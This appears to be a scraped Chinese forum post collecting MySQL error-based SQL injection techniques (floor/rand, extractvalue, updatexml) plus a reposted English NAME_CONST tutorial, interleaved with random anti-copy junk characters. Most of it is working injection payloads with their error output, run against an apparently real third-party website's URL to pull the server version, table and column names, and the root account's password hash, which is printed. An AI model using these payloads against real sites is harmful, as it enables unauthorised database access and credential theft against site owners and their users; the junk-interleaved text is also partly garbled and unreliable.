|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下: z- G! N2 |( A" j& I
首先进行正常查询: mysql> select * from article where id = 1;9 L' e" x, x' K8 s. H
+—-+——-+———+ F! |8 p) g6 h+ e5 t
| id | title | content |
4 |" n$ [1 y( u5 ]+—-+——-+———+
6 r/ n0 v# Q: f0 c5 c| 1 | test | do it |5 C, N& Q- v- q0 z8 A& w
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);4 E* G6 C9 |+ L" z1 q; j1 f7 N
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。, u0 X4 H; Z1 ?$ Y
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
, K6 v* b7 p: V- yERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
5 U+ l& M, I% l y5 OERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue; y6 N. h) ^. @( Y+ L* N! e
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
) Y6 M8 D1 @3 K7 A( fERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ : X) n$ L, p# h/ b1 |/ _+ }6 O
% m$ {. h8 T; F% {% z7 Q. j8 h) H2 D k
再收集:
4 ^; X* A, X' c8 Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
. X3 {- v" G% \5 `. O: u0 s& s8 G. G5 k
6 e* i. h1 A; R u* q8 H MError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
+ d6 d$ C; U7 x* u) C1 L" b: f$ e$ V3 I q X) T% w
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)6 q7 E% ?" \* B8 ^* X" p' _5 E
4 {) z4 w6 `: Y6 n. J, t2 e% G# hError uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
( m! H n y+ f; |" D0 ]+ h; }% N1 e0 X
MYSQL高版本报错注入技巧-利用NAME_CONST注入
3 J0 E* d% w) {% tIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. & q8 h$ V$ m! y
, U3 o5 Y' f5 K: B/ X& M# y3 W- ]2 Y% O6 p
相关信息
0 T, K, a2 w5 u# H2 j; S1 r4 g; [# I: ^) A |4 Q
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
3 ?. u) ^+ d& k" V& ^, Z+ V! c! y! e: m7 e3 `" C
Code:- f3 U; c1 l) _8 C( v% W
NAME_CONST(DATA, VALUE)- D; R! I7 R& ^, H
* G: {9 [9 B! ~% n* lReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
3 O& [$ b$ i+ ]) p8 l" d; d* l/ [" I* I3 e, ]" E
SELECT NAME_CONST('TEST', 1)2 U t% B2 P1 j6 C" E
! y: ]$ A: _( S% p7 I
5 G/ }/ B4 r# b, ^0 q
; a% K) W, t$ A0 }$ k P9 y+ j6 S|---------------|/ e7 i# \ G- D M6 q: i3 s4 d' m
| TEST |: r9 o( G6 V/ a% v( ^: e2 S$ I( G
| |
! m" [2 X5 D7 n8 D1 S' m6 p|---------------|% r' M* T6 d5 {( z
| 1 |1 b S2 h0 s' F7 p c4 P3 ?
| |
1 e. `- P9 @7 M3 _3 s|---------------|
2 ]' Y6 u/ v# E& e" X, \% k2 J, Y! j5 `3 G$ N0 n V
! J0 ~" t- D3 p
! Y' {8 x4 L J5 {
- ^0 Z7 {4 p7 H* Z% W$ Z* ]http://dev.mysql.com/doc/refman/5.0/en/m...name-const
1 V7 S$ O6 \# W4 NIntro to MySQL Variables
- i- P3 Z/ v4 x3 M- W8 i/ @6 T2 m
/ {3 t1 q& C, l' J0 V+ GOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
4 Z# I. Z. h }- d, l* `% }; x5 O/ h( F0 a- x5 g+ j$ b0 B0 N) C
Code:) ~6 g0 h2 X: Q& j3 S: D" X
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ H+ D" X6 r8 q+ d4 S' E
4 q9 u4 k2 N# p7 L% p3 d _% C0 b
3 W$ k& z z" ~/ ~$ n4 r9 x( _4 {% V7 g- p1 H& j
: {4 w0 U+ J- k8 v _# C
% K$ T( z6 d% ~, p
Code:
: V7 I: D" R" X1 jand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--" i9 V2 ^, L' f2 k
$ H3 ]( |& s/ Y( V7 o4 v8 b# @$ l) p+ p/ J
VAR = Your MySQL variable.* @4 E! H, t7 w! _
3 p7 T3 Q9 i. G# R. t
MySQL 5.1.3 Server System Variables4 G, w" z4 ?( D# ^4 J% ^+ y `
0 O# ?; {& {6 O4 V( `
Let's try it out on my site..3 n2 `" Q8 ?. n
4 M# o: ]0 [+ P, V
Code:3 n" b6 B2 a2 |1 I1 T
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--6 K4 J& O5 o1 H( J- A! m
7 C9 N0 ?4 T/ m' U( R1 e( E
Error uplicate column name '5.0.27-community-nt'* K a- E+ U+ F- y# Z
" z8 k$ _ T+ q& l
4 t) j0 } \! j7 q" q" R
4 P2 R$ g" s0 u' h4 A' w8 f1 V+ b" O
- X8 R7 G; S( Y- q: a* R- `# w" h( @
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...$ I) m. a# m* A& Q% V
) X# ~" c C: K3 y( o" t) xData Extraction9 b6 _/ _4 R1 X/ M4 L% ?3 I1 x
" q7 Z' G U, a& q* w8 @7 RCode:, A. Q4 V9 H% O3 B. p& W
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
$ y; h9 L$ Q& o9 H
0 |% M' V* V# w9 k
& ?# B; ~" V. d- F3 c8 q( B+ q8 CWe should get a duplicate column 1 error...
+ T* ^* S% u) w9 ^
8 m: G; p& I; O; q$ L5 eCode:% A: B, n! n6 Q9 m* t, K1 g( T
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
) N7 `: ~# y5 a9 i
' T. i) i; A# @6 t7 A8 i+ D7 CError uplicate column name '1- Q% v. `! [) u# |) p
% U2 X: O& j$ W% l
1 ~+ J! R6 X8 V& @: [# |
' V& g" v) ?: h9 {1 G' t+ p/ C) F8 S8 m' `! x; O# e
5 W: @5 P6 P/ j# u1 h
( x; V* s- X7 A% r: Y- V& H4 m. iNow let's get the tables out this bitch..
+ _- ?; h8 U6 G4 m5 H1 P" |& n
3 k9 z3 @ e, S8 ~/ I' Z. D) yCode:8 G4 _& k; M. ~: ]7 ?
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--5 x5 S- m+ V4 l* K5 _( a
, @- x" `1 r! B& f& r& c: S
/ s" |& i8 e7 O+ N% _! Q6 V2 ~9 D3 NLet's see if it works here, if it does, we can go on and finish the job.
' K, A" K2 z% `) x, A0 A) _0 ~3 ^! U6 k/ ^' O& h1 E* W
Code:
% l! `$ r, q# o/ d5 S4 Ihttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
* E6 l* M- ~9 [% v$ |& O: g& N2 Z$ {
. x( Z, A' `* |& D- i% d. X( P
Error uplicate column name 'com_admanage0 P4 m0 A( O& j" D# f1 O
- U% P( _) g( G* P% x
" H# r, V* N7 R3 s- U) b
+ q4 ^9 v9 E# K3 i8 F! [/ r R6 k( F* {* d- s0 m& t8 g% N3 ~4 ]( Q
# X6 z, g9 ], t' [
6 H; ~$ P! @2 E& h$ |Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
9 Q: r% S9 W. C" ~2 |, T! {+ W
8 \' s# A. R# B, q4 r& fLet's get the columns out of the user table..
; O. Y* O5 B* s, _$ t% e
6 m4 Z+ B! p1 r* l9 Z2 o, cCode:
+ h1 |' k, W2 Y; V$ e/ \, f4 V+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--4 Q( I) |% D' i/ G
* ~3 T" U, a9 p8 ~! P
; N! f# x* b* R6 w/ G% \So mine looks like this, and I get the duplicate column name 'Host'.9 L% O9 x; P! L7 {
, N! t( i) |5 `% r1 k5 b
Code:
2 c. l% o. a# _" m# }http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--/ H0 b5 X! L- f) T5 i
4 W T$ V: X$ T" CError uplicate column name 'Host'
# @# w2 R8 f3 X; U& w# p' A& L1 u, D
- q- T6 B6 |6 s+ Z
$ _7 J$ k2 A9 X. H5 g% P7 s* i8 a& l, F2 W/ o2 s
4 g3 t, }# C# J( ^ S! t) T
. D0 Z9 h% X4 H+ t
Woot, time to finish this bitch off.4 X1 O5 i3 N' l) t' z
' A$ z+ k c; D& U' d$ h. U3 s2 Z
Code:
4 l6 ]* B' P8 G7 x/ g+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
8 m4 w, _8 q$ A& Q/ U1 v7 C
! a- a- f: x3 S9 I
\ \* q1 q, l8 vSo mine looks like this...
D+ {& y0 H. N: Y% E- F- a# L9 X7 J2 @+ b4 O1 j4 J0 i' Y
Code:3 k G0 B, U2 F2 J5 @
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
# K. ]) @- g5 a, N1 }- g6 N6 v+ J6 [. x
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'/ h, a4 ^- x. I D
3 @' @7 F! Y# N. B* e2 S2 ]0 F$ v$ s5 D8 _
2 T3 R& ^ I' s" P5 j& `& g4 }' s2 j0 c7 g! _7 b& W
& p+ ^( `! ?( g( n, t
+ y; L2 | Y/ p( cAnd there we have it, thanks for reading." K; H$ h% Q3 x' X6 X8 G. ?* Z
1 A" K3 E/ W+ W# H |